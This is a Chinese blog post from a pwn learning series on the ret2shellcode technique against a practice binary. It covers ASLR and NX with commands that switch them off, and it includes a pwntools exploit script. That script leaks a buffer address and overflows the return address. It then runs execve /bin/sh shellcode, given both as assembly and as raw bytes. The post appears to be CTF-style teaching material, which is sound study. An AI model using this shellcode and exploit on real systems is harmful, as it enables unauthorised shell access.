pwn学习-ret2shellcode

今天学习了pwn中的ret2shellcode,在之前学习的ret2text中,程序给我们留下了后门函数,可以直接溢出执行,而ret2shellcode是最经典的栈溢出漏洞利用方法,简单原理如下:

在栈溢出漏洞利用成功后,我们可以控制返回地址代码执行,但是这些代码在程序中默认没有,需要我们自己添加,这段代码被称为shellcode,写入shellcode,我们需要满足可以在程序中写入并且被写入的shellcode拥有被执行的权限

shellcode

shellcode其实就是一段汇编代码,常见的功能是获取目标系统的shell

shellcode有以下三种常见的获取方法

  1. 自己编写汇编代码,使用objdump等工具dump出来
  2. 使用pwntools中带的shellcraft功能
  3. 网站上公开的shellcode(别人已经编译好的)例如: shellcode database

具体生成流程可以参考之前的博客: 手动生成shellcode

在理想的状态下,使用ret2shellcoe利用方法是没有ASLR保护机制打开的,我们称为NO ASLR

ASLR

ASLR是一个Linux保护机制,有效的防止了ret2text漏洞,大概原理如下:

ASLR是操作系统的功能选项,在ELF加载到内存的时候发动,会影响到stack、libraries、heap的基址。开启后,每次程序加载是stack、libarys、heap的基地址都会随机化。

ASLR有三种状态

  1. 地址随机化关闭
echo 0 > /proc/sys/kernel/randomize_va_space
  1. 随机化stack、mmap映射、vdso
echo 1 > /proc/sys/kernel/randomize_va_space
  1. 随机化stack、mmap映射、vdso、heap(默认选项)
echo 2 > /proc/sys/kernel/randomize_va_space


上述中我使用了ncat运行了两次,可以观察到地址都有所变化,如果感兴趣可以改变ASLR等级为10观察,到底哪些地址会进行改变
开启1安全机制不会影响heap堆地址的改变,0的话任何地址都会改变

开启ASLR后,buf的地址就随机化了,所以该如何进行栈溢出漏洞利用ret2shellcode呢?
我们可以将shellcode写入到一个可控的内存上,并且该内存处可以执行,例如:

  • 泄露地址的栈内存地址
  • 可以写的bss段内存

ret2shellcode 练习

环境如下
链接: https://pan.baidu.com/s/1A-vf-UGLBkv_4p53Onha6g 提取码: 775b 复制这段内容后打开百度网盘手机App,操作更方便哦

该题目因为输出了buf的内存地址,我们可以获取改地址进行ret2shellcode利用
思路:

  1. 获取buf可以存放shellcode的地址,方便我们返回执行
  2. 填充shellcode在开始位置 + 垃圾字符 + buf内存地址,造成溢出
  3. 获取shell

漏洞利用脚本

from pwn import *

p = process("./ret2shellcode")
#p = remote("192.168.154.176",8888)

p.recvuntil("What's this:")
buf_addr = int(p.recvuntil("?")[:-1],16)

print("buf_addr:%#x" %buf_addr)

#shellcode = asm(shellcraft.sh())
shellcode = asm("""
 xor ecx, ecx
 mul ecx
 push ecx
 push 0x68732f2f 
 push 0x6e69622f
 mov ebx, esp
 mov al, 11
 int 0x80
""")

shellcode1 = asm(shellcraft.sh())

shellcode2 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" \
             b"\x73\x68\x68\x2f\x62\x69\x6e\x89" \
             b"\xe3\xb0\x0b\xcd\x80" 

# 使用 0x88 + 0x4 左对齐的方式填充溢出,开头为shellcode,后面为多余的垃圾字符,填充A
payload = shellcode2.ljust(0x88 + 0x4,b"A")
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

上述中我使用了三种shellcode的方法

NX 保护机制

NX保护机制的全写为No-Execute(不可执行),Nx的原理是将数据所在内存页标识为不可执行,当程序被劫持到数据页(不可执行内存)时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可执行,此时CPU就会抛出异常,而不是去执行数据。

  • NX disabled: 栈可以执行,栈上的数据也可以被当做代码执行
  • NX enabled: 栈不可执行,栈上的数据只认为是数据,如果去执行的话会发生错误。

使用NX保护机制可以从根本上防止ret2shellcode
NX保护机制是一个编译选项,可以在gcc编译的时候指定是否开启

  • gcc -z execstack就是关闭NXNX disabled
  • gcc -z noexecstack就是开启NSNX enabled该选项为默认选项

其实就是在程序的一个字节,位NX的标志为,06为不可执行,07为可执行
使用execstack命令可以查看程序是否开启了NX保护

使用diff也可以对比出两个文件的不同

没开就是07,开了就是06

可以手动将十六进制的06改为07,手动的关闭NX保护

补充

在后续的学习中了解到,不仅上述的ASLRNX保护机制会影响到ret2shellcode漏洞利用手法,在新版本中的内核采用了比较激进的保护策略,程序中不再会有同时存在可读,可执行的段,也就是说想要在.bss段写入内容,就不会拥有执行权限,如果在.bss段拥有执行权限,就不会拥有写入权限,并且一般情况下使用gcc编译都默认使用NX保护机制,默认开启ASLR等级为2的地址随机化机制,基本上ret2shellcode是不可能成功的,所以ret2shellcode已成为历史。

posted @ 2024-05-30 16:46  Junglezt  阅读(539)  评论(0编辑  收藏  举报